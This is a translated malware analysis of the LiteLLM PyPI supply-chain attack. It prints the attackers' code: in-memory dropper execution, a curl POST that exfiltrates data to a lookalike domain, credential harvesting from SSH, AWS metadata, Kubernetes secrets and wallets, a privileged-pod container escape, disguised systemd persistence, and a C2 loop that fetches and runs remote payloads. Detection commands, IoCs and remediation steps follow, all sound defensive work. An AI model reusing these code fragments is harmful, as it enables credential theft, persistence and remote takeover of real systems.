文章总结: 本文深入解析了针对Python包LiteLLM的供应链攻击,揭示了其包含dropper、信息窃取和C2agent的三阶段攻击链。攻击者利用合法包分发恶意脚本,该脚本在内存中执行以规避检测,通过混合加密(AES-256与RSA-4096)传输窃取的数据,并最终建立长期持久化的远程控制通道,对云原生环境构成严重威胁。 综合评分: 85 文章分类: 供应链安全,恶意软件,漏洞分析,渗透测试,云安全
LiteLLM供应链攻击解析:三层架构,一个僵尸网络
Dubito Dubito
云原生安全指北
2026年3月27日 08:58 江苏
注:本文翻译自de Março[1]的文章《Anatomia de um Infostealer Moderno: Três Camadas, Uma Botnet》[2],可点击文末“阅读原文”按钮查看英文原文。
全文如下:
一、背景
我通常不公开发布所做的分析,但这次这个分析让我很感兴趣。
在一次供应链调查中,我们在 Python 包 LiteLLM(一个广泛用作语言模型 API 统一网关的库)的 1.82.7 和 1.82.8 版本中发现了恶意脚本。最初看似只是一个经过混淆的脚本,实际上揭示了一个三阶段的攻击链:信息窃取、Kubernetes 持久化,以及一个具备远程任意代码执行能力的长期 C2 agent。
尽管这是一个简单的脚本,但它并非业余之作,具备一定的复杂性。它实现了职责分离、多阶段规避以及操作韧性。
该攻击向量因其上下文环境而尤为有效:LiteLLM 通常部署时能够访问多个 AI 提供商(OpenAI、Anthropic、Azure OpenAI 等)的凭证,并且常在具备基础设施高权限访问的自动化流水线(pipeline)中运行。
本文试图呈现该攻击的完整架构,并对每个阶段的主要代码行进行分析。
我在撰写本文之后、发布之前查阅的链接:
LiteLLM 公司的声明: https://docs.litellm.ai/blog/security-update-march-2026
Wiz 的安全公告: https://app.wiz.io/boards/threat-center/wiz-adv-2026-037
Snyk 的文章(这是我找到的技术性最强、包含代码分析的一篇): https://snyk.io/pt-BR/articles/poisoned-security-scanner-backdooring-litellm/
二、整体架构
[pip install litellm==1.82.7 或 1.82.8]
│
├─► 阶段 1:Dropper
│ └─ 在内存中执行信息窃取(infostealer)→ AES-256 + RSA-4096 加密 → 外传数据
│
├─► 阶段 2:信息窃取(infostealer)
│ ├─ 收集:SSH、AWS、K8s secrets、.env、数据库、加密货币、/etc/shadow 等
│ ├─ 通过特权 Pod 横向扩展到 K8s 节点
│ └─ 将 C2 agent 安装为 systemd 服务(本地 + 所有节点)
│
└─► 阶段 3:C2 Agent(持久化)
└─ 每 50 分钟:访问 checkmarx.zone/raw → 下载 → 执行任意 payload
三、阶段 1 —— Dropper
攻击的入口点是 LiteLLM 包的两个版本:v1.82.7 和 v1.82.8。这个阶段称为 Dropper(投放器),也是第一阶段。其唯一职责是执行信息窃取(infostealer),由后者完成数据收集,在不留下(太多)痕迹的情况下对结果进行加密并外传。
3.1 内存执行
payload = base64.b64decode(B64_SCRIPT)
subprocess.run([sys.executable, "-"], input=payload, stdout=f, stderr=subprocess.DEVNULL, check=True)
Dropper 解析变量 B64_SCRIPT 中的 Base64 字符串,解码得到信息窃取脚本后,通过 stdin 传递给 Python 解释器执行,整个过程从不落盘。所有输出(凭证、文件、命令执行结果)均被 stdout 捕获,并保存到一个临时目录中,该目录在脚本结束时会被自动销毁。
3.2 混合加密封装(Hybrid Cryptographic Envelope)
# 1. 生成随机的 AES 会话密钥
subprocess.run(["openssl", "rand", "-out", sk, "32"])
# 2. 使用 AES-256-CBC + PBKDF2 加密数据
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef,
"-pass", f"file:{sk}", "-pbkdf2"])
# 3. 使用攻击者的 RSA-4096 公钥加密 AES 密钥(OAEP 填充)
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk,
"-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"])
# 4. 打包所有内容
subprocess.run(["tar", "-czf", "tpcp.tar.gz", "payload.enc", "session.key.enc"])
这是混合加密实现:使用 AES 加密数据(高效),使用 RSA 加密密钥(非对称)。如果没有攻击者的私钥,被窃取的数据(在数学上)是无法访问的。RSA-4096 公钥硬编码在脚本开头。
3.3 伪装的外传请求
subprocess.run([
"curl", "-s", "-X", "POST", "https://models.litellm.cloud/",
"-H", "Content-Type: application/octet-stream",
"-H", "X-Filename: tpcp.tar.gz",
"--data-binary", f"@{bn}"
])
域名 litellm.cloud 模仿了合法的开源项目 LiteLLM(一个 LLM API 代理)。对于在日志中看到该流量的安全团队而言,这看起来就像是开发人员在调用 AI API。利用上下文进行规避:经常使用 LLM 的环境对这种伪装尤其缺乏防备。
四、阶段 2 —— 信息窃取(Infostealer)
这是嵌入在 B64_SCRIPT 中的脚本。它完全在内存中运行,所有输出写入 stdout,并且从不抛出可见异常——每个代码块都包含 except: pass 或 except OSError: pass。
4.0 初始探测
run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
run('printenv')
首先执行的操作:获取机器的完整指纹信息,包括所有环境变量——这些变量中通常包含令牌、数据库 URL、API 密钥以及服务凭证。
4.1 第一阶段:SSH 密钥和 Git 凭证
# 用户的密钥 —— 所有已知类型
for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa',
'/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']:
emit(h+f)
walk([h+'/.ssh'], 2, lambda fp,fn: True) # .ssh 目录下的任何其他文件
# 服务器的 host 密钥
walk(['/etc/ssh'], 1, lambda fp,fn: fn.startswith('ssh_host') and fn.endswith('_key'))
# Git 凭证(明文存储的 PAT)
for f in ['/.git-credentials', '/.gitconfig']: emit(h+f)
服务器的 host 密钥(/etc/ssh/ssh_host_*_key)可被用于未来的中间人(AitM,Adversary in the Middle)攻击中冒充服务器。当 credential helper 设置为 store 时,~/.git-credentials 文件中会以明文形式存储 GitHub/GitLab 的 token。
4.2 第二阶段:AWS —— 四个并发向量
# 向量 1:本地文件
emit(h+'/.aws/credentials')
emit(h+'/.aws/config')
# 向量 2:环境变量
run('env | grep AWS_')
# 向量 3:ECS Task Role(容器的临时凭证)
run('curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}')
# 向量 4:EC2 IMDS(实例的 IAM 角色)
run('curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/')
如果找到了凭证,会尝试通过 IMDS v2 获取实例 IAM 角色的凭证(通常这些权限比用户凭证更高):
# IMDS v2 —— 使用会话 token,比 v1 更隐蔽
tkn_req = urllib.request.Request('http://169.254.169.254/latest/api/token',
headers={'X-aws-ec2-metadata-token-ttl-seconds': '21600'}, method='PUT')
imds_token = r.read().decode()
# ... 获取 role_name,然后获取临时凭证
AK = creds.get('AccessKeyId', AK) # 如果存在 role 凭证则替换原有的
SK = creds.get('SecretAccessKey', SK)
ST = creds.get('Token', ST)
获得这些凭证后,直接调用 AWS API —— 不使用 boto3,而是从头实现 SigV4 签名:
# 列出并提取 Secrets Manager 中的全部 secret
sm = aws_req('POST', 'secretsmanager', REG, '/', 'Action=ListSecrets', ...)
for s in sm.get('SecretList', []):
sv = aws_req('POST', 'secretsmanager', REG, '/', '',
{'X-Amz-Target': 'secretsmanager.GetSecretValue'}, ...)
# 列出 SSM Parameter Store 中的参数
ssm = aws_req('POST', 'ssm', REG, '/', 'Action=DescribeParameters&Version=2014-11-06', ...)
4.3 第三阶段:Kubernetes —— 信息收集 + 权限提升
# Pod 中自动挂载的 Service Account token
emit('/var/run/secrets/kubernetes.io/serviceaccount/token')
emit('/var/run/secrets/kubernetes.io/serviceaccount/ca.crt')
# 提取所有命名空间中的 secrets
secrets = k8s_get('/api/v1/secrets')
ns_data = k8s_get('/api/v1/namespaces')
for ns_item in ns_data.get('items', []):
ns = ns_item['metadata']['name']
k8s_get(f'/api/v1/namespaces/{ns}/secrets')
任何拥有 Service Account 且具备读取 secrets 权限的 Pod,都可以从中提取整个平台上的凭证。
4.4 第四阶段:全面扫描文件系统
通过 walk() 递归扫描,可配置扫描深度,所有扫描并行执行:
# .env 文件 —— 最深扫描 6 层目录
walk(all_roots, 6, lambda fp,fn: fn in {'.env','.env.local','.env.production','.env.development','.env.staging'})
# Terraform(基础设施即代码IaC)
walk(all_roots, 4, lambda fp,fn: fn.endswith('.tfvars'))
walk(all_roots, 4, lambda fp,fn: fn == 'terraform.tfstate') # 包含 IP、输出、secret 的状态文件
# 证书和 TLS 密钥
walk(all_roots, 5, lambda fp,fn: os.path.splitext(fn)[1] in {'.pem','.key','.p12','.pfx'})
# CI/CD 配置文件
for ci in ['.gitlab-ci.yml', '.travis.yml', 'Jenkinsfile', '.drone.yml']: emit(ci)
# 数据库
emit(h+'/.my.cnf') # MySQL,包含密码
emit(h+'/.pgpass') # PostgreSQL,包含密码
emit('/etc/redis/redis.conf')
emit('/etc/postfix/sasl_passwd')
# Token 和服务凭证
emit(h+'/.npmrc') # npm token(用于访问私有包)
emit(h+'/.vault-token') # HashiCorp Vault
emit(h+'/.netrc') # FTP/HTTP 凭证
emit('/etc/shadow') # 系统密码哈希
# Shell 历史记录 —— 包含输入过的凭证命令
for hist in ['/.bash_history','/.zsh_history','/.mysql_history','/.psql_history','/.rediscli_history']:
emit(h+hist)
# 加密货币钱包
walk([h+'/.ethereum/keystore'], 1, ...) # Ethereum
walk([h+'/.bitcoin'], 2, lambda fp,fn: fn.startswith('wallet') and fn.endswith('.dat'))
walk([h+'/.config/solana'], 3, ...) # Solana(包含验证者密钥对)
walk([h+'/.cardano'], 3, lambda fp,fn: fn.endswith('.skey') or fn.endswith('.vkey'))
# GCP 和 Azure
walk([h+'/.config/gcloud'], 4, lambda fp,fn: True)
walk([h+'/.azure'], 3, lambda fp,fn: True)
run('cat $GOOGLE_APPLICATION_CREDENTIALS')
all_roots 覆盖了 /home/*/、/root、/opt、/srv、/var/www、/app、/data、/var/lib、/tmp —— 几乎涵盖了应用程序可能运行的任何位置。
4.5 第五阶段:Kubernetes 集群内的持久化
借助 Service Account token,该脚本会列出集群中的所有节点,并针对每个节点在 kube-system 命名空间中创建一个特权 Pod:
pod_manifest = {
'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
'spec': {
'nodeName': node_name,
'hostPID': True, # 访问节点的所有进程
'hostNetwork': True, # 访问节点的网络
'tolerations': [{'operator': 'Exists'}], # 可调度到任何节点,忽略所有污点(taint)
'containers': [{
'securityContext': {'privileged': True},
'volumeMounts': [{'mountPath': '/host'}] # 挂载节点的完整文件系统
}],
'volumes': [{'hostPath': {'path': '/'}}], # 挂载宿主机的根目录 /
}
}
在 Pod 内部,通过 chroot 切换到节点的文件系统后执行:
echo {PERSIST_B64} | base64 -d > /host/root/.config/sysmon/sysmon.py
chmod 700 /host/root/.config/sysmon/sysmon.py
# 在物理节点上安装并启用为 systemd 服务
chroot /host systemctl enable --now sysmon.service
hostPID + hostNetwork + privileged + mount / 的组合意味着攻击者可以在容器外获得物理节点的 root 权限。tolerations: Exists 确保该 Pod 可以被调度到带有任何污点(taint)的节点上,包括 master 节点、专用节点以及带有 NoSchedule 污点的节点。
4.6 第六阶段:本地持久化(备用方案)
如果不在 Kubernetes 环境中,则直接在本机安装:
script_path = '~/.config/sysmon/sysmon.py'
unit_path = '~/.config/systemd/user/sysmon.service'
if not os.path.exists(script_path): # 若已存在则不覆盖
with open(script_path, 'wb') as f:
f.write(base64.b64decode(PERSIST_B64))
os.chmod(script_path, 0o700)
unit = """
[Unit]
Description=System Telemetry Service ← 伪装
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
ExecStart={py} {script_path}
Restart=always
RestartSec=10 ← 进程终止后 10 秒自动重启
KillMode=process ← 不杀死子进程
StandardOutput=null ← 不在 journald 中记录日志
StandardError=null ← 不在 journald 中记录日志
[Install]
WantedBy=multi-user.target
"""
subprocess.run(['systemctl', '--user', 'enable', '--now', 'sysmon.service'])
伪装手段的三个细节:
- • 名称
sysmon模仿了微软的 Sysmon —— 一款合法的监控工具 - •
Description=System Telemetry Service—— 看起来像是系统的遥测服务 - •
StandardOutput=null+StandardError=null—— 在journalctl中不可见
五、阶段 3 —— C2 Agent
这是解码后的 PERSIST_B64 脚本,也就是安装在节点上的组件。它不负责收集数据,也不进行外传。它的功能只有一个:等待指令,并执行攻击者发布的任意 payload。
C_URL = "https://checkmarx.zone/raw" # C2 服务器 —— 模仿 Checkmarx 公司
TARGET = "/tmp/pglog" # payload 保存位置 —— 伪装成 PostgreSQL 日志文件
STATE = "/tmp/.pg_state" # 用于记录状态 —— 记录上一次执行的 payload 的 URL
完整逻辑
if __name__ == "__main__":
time.sleep(300) # 休眠 5 分钟 —— 规避沙箱分析环境(通常运行时间不足 60 秒)
while True:
l = g() # GET https://checkmarx.zone/raw → 期望返回一个 URL
prev = ler STATE # 上一次执行的 payload 的 URL
if l and l != prev and "youtube.com" not in l:
# 三个条件:
# 1. 从 C2 获取到了有效的 URL
# 2. 该 URL 与上次执行的不同(攻击者发布了新内容)
# 3. URL 中不包含 youtube.com(防御者可通过 sinkhole 将请求重定向到 youtube.com)
e(l)
time.sleep(3000) # 每 50 分钟轮询一次 —— 频率较低,难以检测
def e(l):
urllib.request.urlretrieve(l, TARGET) # 下载攻击者的二进制文件或脚本
os.chmod(TARGET, 0o755) # 添加可执行权限
subprocess.Popen([TARGET],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True) # 以 DETACHED 模式运行 —— 即使父进程退出,子进程仍继续运行
with open(STATE, "w") as f: f.write(l) # 保存 URL,用于后续比对
start_new_session=True 这一参数至关重要:即使 sysmon.service 服务被停止,已经启动的 payload 进程仍会继续运行。C2 的更新可在 50 分钟内传播到所有被感染的机器 —— 包括整个集群、多个节点以及本地机器。
六、Snyk 文章摘抄&内容引用
说明:此处开始对 Snyk 文章的部分内容进行摘抄
6.1 检测:你是否受到影响?
该 payload 在 Python 加载包时即会执行 —— 甚至在执行 pip install 的过程中也会触发。如果你安装了 1.82.7 或 1.82.8 版本,仅执行升级是不够的。恶意代码可能已经运行过了。
6.1.1 步骤 1:检查已安装的版本
pip show litellm | grep Version
如果输出显示 1.82.7 或 1.82.8,请将该系统视为已被入侵,并在采取任何其他操作之前执行以下步骤。
6.1.2 步骤 2:检查持久化残留物
# sysmon 后门
ls -la ~/.config/sysmon/sysmon.py 2>/dev/null && echo "BACKDOOR FOUND"
ls -la /root/.config/sysmon/sysmon.py 2>/dev/null && echo "ROOT BACKDOOR FOUND"
# systemd 持久化服务
systemctl --user status sysmon.service 2>/dev/null
ls -la ~/.config/systemd/user/sysmon.service 2>/dev/null && echo "PERSISTENCE SERVICE FOUND"
# 外传过程中产生的残留文件
ls /tmp/tpcp.tar.gz /tmp/session.key /tmp/payload.enc /tmp/session.key.enc 2>/dev/null \
&& echo "EXFIL ARTIFACTS FOUND"
6.1.3 步骤 3:检查恶意的 .pth 文件
1.82.8 版本的投递机制使用了一个位于 site-packages 目录下的 .pth 文件 —— Python 会在解释器启动时自动执行该文件中的代码,且执行时机早于任何应用程序代码:
find $(python3 -c "import site; print(' '.join(site.getsitepackages()))") \
-name "*.pth" -exec grep -l "base64\|subprocess\|exec" {} \;
任何匹配结果都应视为可疑。合法的 .pth 文件应仅包含目录路径。
6.1.4 步骤 4:检查文件哈希值
# proxy_server.py —— 版本 1.82.7
find / -path "*/litellm/proxy/proxy_server.py" 2>/dev/null -exec shasum -a 256 {} \;
# 恶意哈希值:a0d229be8efcb2f9135e2ad55ba275b76ddcfeb55fa4370e0a522a5bdee0120b
# litellm_init.pth —— 版本 1.82.8
find / -name "litellm_init.pth" 2>/dev/null -exec shasum -a 256 {} \;
# 恶意哈希值:71e35aef03099cd1f2d6446734273025a163597de93912df321ef118bf135238
6.1.5 步骤 5:检查网络指示器(IOC)
grep "litellm.cloud\|checkmarx.zone" /etc/hosts
grep "models.litellm.cloud\|checkmarx.zone" /var/log/syslog 2>/dev/null
如果在 DNS 或代理日志中发现 checkmarx.zone 的记录(时间范围为最近 30-90 天),说明 C2 agent 曾经处于活跃状态 —— 入侵时间窗口应从找到的最早记录日期开始计算。
6.1.6 步骤 6:检查 Kubernetes 环境
kubectl get pods -A | grep "node-setup-"
在 kube-system 命名空间中,名称符合该模式的 Pod 是由恶意软件创建的容器逃逸 Pod。每个此类 Pod 都代表一个已被入侵的节点。
6.2 修复措施
6.2.1 如果你未安装 1.82.7 或 1.82.8 版本
立即锁定版本,防止任何自动化流程进行安装:
pip install "litellm<=1.82.6"
# requirements.txt
litellm<=1.82.6
6.2.2 如果你已安装 1.82.7 或 1.82.8 版本
无论你是否执行过应用程序代码,都应将系统视为已被入侵。该 payload 在 pip install 过程中即已执行。
1. 清除持久化残留
# 删除后门和服务文件
rm -f ~/.config/sysmon/sysmon.py
rm -f ~/.config/systemd/user/sysmon.service
systemctl --user disable sysmon.service 2>/dev/null
systemctl --user daemon-reload
# 清理临时文件
rm -f /tmp/tpcp.tar.gz /tmp/session.key /tmp/payload.enc \
/tmp/session.key.enc /tmp/.pg_state /tmp/pglog
2. 轮换受影响系统上的所有凭证
轮换必须彻底 —— 机器上任何可访问的凭证都可能已被外传:
- • SSH 密钥:生成新密钥对,从
authorized_keys、GitHub 和 GitLab 中撤销旧密钥 - • 云服务:AWS 访问密钥和 IAM 角色、GCP 服务账户、Azure 服务主体
- • API 密钥:存在于
.env文件中的变量、环境变量、CI/CD secret - • Docker:
~/.docker/config.json中的凭证 - • Kubernetes:
~/.kube/config、集群内的 Service Account token - • 数据库:系统上配置文件中的密码
- • Git:
~/.gitconfig或系统凭证存储(credential store)中的凭证 - • 加密货币钱包:助记词和密钥对
3. 审计 AWS Secrets Manager 和 SSM Parameter Store
如果恶意软件找到了具有 IMDS 访问权限的 AWS 凭证,它会直接调用这些 API。请在 CloudTrail 中检查来自受影响实例的 ListSecrets、GetSecretValue 和 DescribeParameters 调用记录。
4. 审计 Kubernetes 集群中的 secret
如果环境中存在 Service Account token,所有命名空间中的所有 secret 都可能已被读取。请轮换集群内的 secret,并在所有节点上执行 kubectl get pods -n kube-system | grep node-setup- 进行检查。
5. 在干净的环境中重新安装
请勿在原环境上进行就地升级 —— 应在全新重建的环境中进行安装:
pip install "litellm<=1.82.6"
6.3 为什么 pip 哈希校验未能检测到问题
哈希校验只能确认文件与 PyPI 所声明的文件一致 —— 并不能说明所声明的内容本身是否为恶意。
在 1.82.8 版本中,litellm_init.pth 文件在 wheel 包的 RECORD 文件中的声明是正确的,其哈希值也匹配。若使用 pip install --require-hashes 进行安装,该过程会顺利通过,不会发出任何警报。该包能通过所有标准的完整性校验,原因是恶意内容是通过维护者的合法凭证发布的 —— 不存在哈希值不匹配,清单文件中没有可疑域名,包名也没有拼写错误。
要在安装时进行检测,唯一的途径是检查包是否安装了 .pth 文件,以及这些文件中是否包含 subprocess、base64 或 exec 等模式。目前尚无广泛部署的 pip 插件能够自动执行此类检查。
6.4 更广泛的模式
此次攻击活动中的目标选择并非随机。每个被入侵的工具 —— 容器扫描器(Trivy)、基础设施工具(KICS)和 LLM 路由库(LiteLLM)—— 在其设计上就需要对其所运行的系统拥有广泛的读取权限,包括凭证、配置和环境变量。
尤其是 LiteLLM,它越来越多地被部署为 LLM 的统一网关,并存储了多个提供商的凭证。在这种配置下,从单一被入侵主机所能访问到的凭证集合,远远超过典型应用场景。
此次事件的初始信息披露主要在 AI 开发者社区(如 r/LocalLLaMA、r/Python、Hacker News)中传播,而非通过传统的安全渠道(如 r/netsec 或 CVE 源)。这表明,针对 LLM 工具链的特定威胁模型,尚未融入这些社区的标准安全实践。
一个值得对比的案例是 2024 年的 Ultralytics AI Pwn Request 事件:另一个广泛使用的 Python AI 库,通过 CI/CD 漏洞被入侵,其攻击链与此类似。这种模式表明,AI 工具正在成为攻击者的优先目标,原因恰恰在于它们快速被采用、安全实践成熟度较低,以及具备对基础设施的高权限访问能力。
6.5 MITRE ATT&CK 映射
| 技术 | ID | 实现方式 | | — | — | — | | 供应链入侵(Supply Chain Compromise) | T1195.002 | 使用被泄露的合法凭证投递 PyPI 包 | | 混淆文件或信息(Obfuscated Files or Information) | T1027 | 三重 Base64 编码,通过 stdin 执行 | | 命令与脚本解释器(Command and Scripting Interpreter) | T1059.006 | 各阶段均使用 Python | | 不安全的凭证(Unsecured Credentials) | T1552 | .env、.aws、.ssh、shell 历史记录 | | 云实例元数据 API(Cloud Instance Metadata API) | T1552.005 | IMDS v1 与 v2,ECS 任务凭证 | | 窃取应用访问令牌(Steal Application Access Token) | T1528 | Kubernetes Service Account token | | 容器逃逸(Container Escape) | T1611 | 特权 Pod 配合 hostPath 挂载 | | Systemd 服务(Systemd Service) | T1543.002 | 通过 ~/.config/systemd 实现持久化 | | 入口工具传输(Ingress Tool Transfer) | T1105 | C2 agent 通过 urlretrieve 下载 payload | | 通过 C2 信道外传(Exfiltration Over C2 Channel) | T1041 | AES+RSA 加密 → HTTPS POST 至 litellm.cloud | | 伪装(Masquerading) | T1036 | sysmon.py、pglog、System Telemetry Service |
6.6 入侵指标 IoCs
6.6.1 文件哈希
| 文件 | SHA-256 |
| — | — |
| litellm_init.pth (1.82.8 版本) | 71e35aef03099cd1f2d6446734273025a163597de93912df321ef118bf135238 |
| proxy_server.py (1.82.7 版本) | a0d229be8efcb2f9135e2ad55ba275b76ddcfeb55fa4370e0a522a5bdee0120b |
| sysmon.py | 6cf223aea68b0e8031ff68251e30b6017a0513fe152e235c26f248ba1e15c92a |
6.6.2 网络
| 指示器 | 用途 |
| — | — |
| https://models.litellm.cloud/ | 外传 —— 通过 POST 请求发送加密数据 |
| https://checkmarx.zone/raw | C2 轮询 —— 每 50 分钟发起一次 GET 请求 |
6.6.3 文件系统
| 路径 | 描述 |
| — | — |
| ~/.config/sysmon/sysmon.py | C2 agent |
| /root/.config/sysmon/sysmon.py | C2 agent(root 用户) |
| ~/.config/systemd/user/sysmon.service | 持久化服务 |
| /tmp/tpcp.tar.gz | 外传数据打包文件 |
| /tmp/session.key 、/tmp/payload.enc、/tmp/session.key.enc | 加密过程中产生的残留文件 |
| /tmp/.pg_state 、/tmp/pglog | C2 agent 的状态文件 |
6.6.4 Kubernetes
| 指示器 | 描述 |
| — | — |
| kube-system 命名空间中的 node-setup-{node_name} Pod | 已安装的容器逃逸 Pod |
| 容器 setup,镜像 alpine:latest | 恶意 Pod 的标识信息 |
6.6.5 RSA 公钥(硬编码于三个 payload 中)
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+...
6.7 现在应该采取的措施
- 1. 检查已安装版本:
pip show litellm | grep Version - 2. 在所有环境中立即将版本锁定为
<=1.82.6 - 3. 执行
snyk test --package-manager=pip - 4. 如果曾安装过 1.82.7 或 1.82.8 版本:轮换凭证并检查持久化残留物
- 5. 审计 CI/CD 流水线(包括 GitHub Actions),检查是否存在未锁定版本的工具
- 6. 检查 Kubernetes 集群:
kubectl get pods -A | grep node-setup- - 7. 在网络日志中检索与
checkmarx.zone和litellm.cloud的历史连接记录
说明:此处结束对 Snyk 文章部分内容的摘抄
七、结论
这个恶意软件在技术层面展示了以下特点:
- • 内存执行 消除了初始阶段的磁盘残留
- • 正确的混合加密 使得外传的数据在缺少私钥的情况下无法被读取
- • 分层的职责分离 增加了分析难度,并允许对各组件进行独立更新
- • 通过特权 Pod 实现容器逃逸 在 RBAC 配置宽松的 Kubernetes 集群中是真实存在的攻击途径
- • 使用看似合理的域名和低速轮询的 HTTPS C2 通信 能够绕过基础的网络控制
- • 伪装的命名方式(
sysmon、System Telemetry Service、pglog)延缓了人工检测
攻击者的操作方式
攻击者更新 checkmarx.zone/raw 上的内容,指向新的恶意二进制文件 URL
↓
在 50 分钟内,所有被感染的实例执行以下操作:
GET checkmarx.zone/raw → 获取新 URL
将二进制文件下载至 /tmp/pglog
chmod 755 → 以 detached 模式执行
将 URL 记录到 /tmp/.pg_state
这是一个功能完备的僵尸网络(botnet)。C2 的一次更新可在 50 分钟内传播至所有被感染的机器 —— 涵盖整个集群、多个节点以及本地机器。
八、入侵指标 IoC
| 指标 | 类型 | 检查位置 |
| — | — | — |
| checkmarx.zone | C2 域名 | DNS 日志、防火墙、代理 |
| litellm.cloud | 外传目标 | 网络日志 —— HTTPS POST 请求 |
| /tmp/pglog | 恶意文件 | 文件系统 |
| /tmp/.pg_state | C2 agent 状态文件 | 文件系统 |
| ~/.config/sysmon/sysmon.py | 持久化文件 | 文件系统 |
| ~/.config/systemd/user/sysmon.service | 持久化服务 | systemctl --user list-units |
| Description=System Telemetry Service | 伪装标识 | systemctl --user status sysmon |
| node-setup-* 名称的 Pod 位于 kube-system | Kubernetes 入侵指标 | kubectl get pods -n kube-system |
| 连接 169.254.169.254 | IMDS 元数据抓取 | 云服务商日志 |
九、应急响应
如果任何机器执行过此脚本,请假定其已被完全入侵。操作顺序至关重要:
1. 立即隔离 在执行任何其他操作之前,先将机器从网络中隔离 —— C2 agent 随时可能接收新的 payload。
2. 撤销凭证 AWS IAM keys、Kubernetes Service Account token、SSH 密钥、Git token、数据库凭证 —— 环境中存在过的所有凭证均需撤销。
3. 清除 Kubernetes 持久化
kubectl get pods -n kube-system | grep node-setup
kubectl delete pod -n kube-system -l <选择器>
4. 清除本地持久化
systemctl --user stop sysmon.service
systemctl --user disable sysmon.service
rm -f ~/.config/sysmon/sysmon.py
rm -f ~/.config/systemd/user/sysmon.service
rm -f /tmp/pglog /tmp/.pg_state
5. 检查横向扩散范围 该 agent 被安装到了集群中的每个节点。需逐一检查所有节点,而不仅仅是脚本最初运行的 Pod 所在节点。
6. 回溯分析网络日志
若在过去 30 至 90 天内发现与 checkmarx.zone 和 litellm.cloud 的连接记录,即可确定入侵时间窗口。发往 litellm.cloud 的数据量可反映出被外传的内容。
7. 重建环境 一旦发生容器逃逸,受影响的 Kubernetes 节点便不再可信。唯一能确保安全的方式是基于已知干净的镜像重新创建实例。
致谢:
- • 感谢 Vdgonc[3] 的交流探讨
- • 感谢 Manoelito Filho[4] 在本文中的指正
引用链接
[1] de Março: https://gutem.github.io/
[2] 《Anatomia de um Infostealer Moderno: Três Camadas, Uma Botnet》: https://gutem.github.io/notes/anatomia-de-um-infostealer-moderno-tres-amadas-uma-botnet
[3] Vdgonc: https://github.com/Vdgonc
[4] Manoelito Filho: https://www.linkedin.com/in/manoelitofilho/
交流群
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:云原生安全指北 Dubito Dubito《LiteLLM供应链攻击解析:三层架构,一个僵尸网络》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。




![[EDU]一次高调的中危](/images/random/titlepic/5.jpg)



评论